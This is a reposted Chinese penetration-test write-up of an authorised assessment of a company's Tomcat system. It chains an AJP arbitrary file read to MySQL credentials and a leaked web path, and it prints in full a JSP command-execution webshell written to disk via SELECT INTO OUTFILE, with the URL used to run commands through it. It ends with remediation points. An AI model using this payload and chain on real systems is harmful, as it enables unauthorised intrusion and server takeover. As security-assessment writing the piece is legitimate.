文章来源:https://www.freebuf.com/articles/web/432220.html
一、前置背景
上篇文章《未授权访问漏洞的利用链》渗透的步骤到了找上传点getshell,但是找不到上传返回的路径,无法访问shell。这里又有了新的口子,一口气记录直接一把拿下,这里只是记录思路,实际场景已经从外部转到内部继续渗透,作为企业安全者的角度对系统进行更全面的评估。
说明:该目标为公司系统,经过授权测试。
二、操作步骤
2.1 其他突破——AJP任意文件读取
2.1.1 Nmap扫描端口:
可以看到操作系统版本Windows Server2008,比较老,或许后面能利用上永恒之蓝MS17010,永恒Blue等漏洞。
关注到8009端口 开放了AJP 尝试AJP任意文件读取漏洞
利用POC ajp任意文件读取POC验证了该漏洞确实存在
进一步读取敏感配置目录,发现MySQL数据库账户密码 mysql:password
2.1.2 数据库写webshell
成功登录数据库:
查看是否具备该mysql账户是否具备FILE权限:
查看是否允许任意位置写文件,secure_file_priv字段要为空或指定目录才可以
成功写入文件到主机:
2.2 承接上篇——目录爆破得不够彻底
用dirsearch爆破目录的时候一定要写上-r参数,这表示递归的去爆破目录,找到一层之后继续往下找,穷举完才结束。
所以在这里就很幸运的找到了另外一个上传文件的接口:
访问得到这样一个页面:
虽然选择文件上传仍然没有返回路径,但是点击最下面那个提交按钮,竟然返回了网站部署的绝对路径!
那就尝试在d:Apache Software FoundationTomcat 6.0webappsROOT这个目录下写webshell
成功写入
三、成功getshell
在数据库中执行
写入一句话木马
SELECT '<%if("pass".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>'
INTO OUTFILE 'D:/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/1.jsp';
访问/shell.jsp?pwd=pass&cmd=whoami
可以看到权限很高,甚至都不需要进一步的提权。
四、总结和修复方法
这个系统很薄弱,从外部来看:
1)很多报错暴露了敏感路径;
2)系统没有口令强度机制和防爆机制;
3)开发写的代码有逻辑错误导致可以越权;
从内部来看:
3)系统权限没有配置好,权限过高(这里包含数据库和网站);
4)还存在2020年的老漏洞未修复;
5)没有部署任何防护工具(EDR、HIDS),这种简单的木马甚至不用做免杀。
原文始发于微信公众号(神农Sec):【SRC】未授权访问漏洞的利用链:一口气到getshell的实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论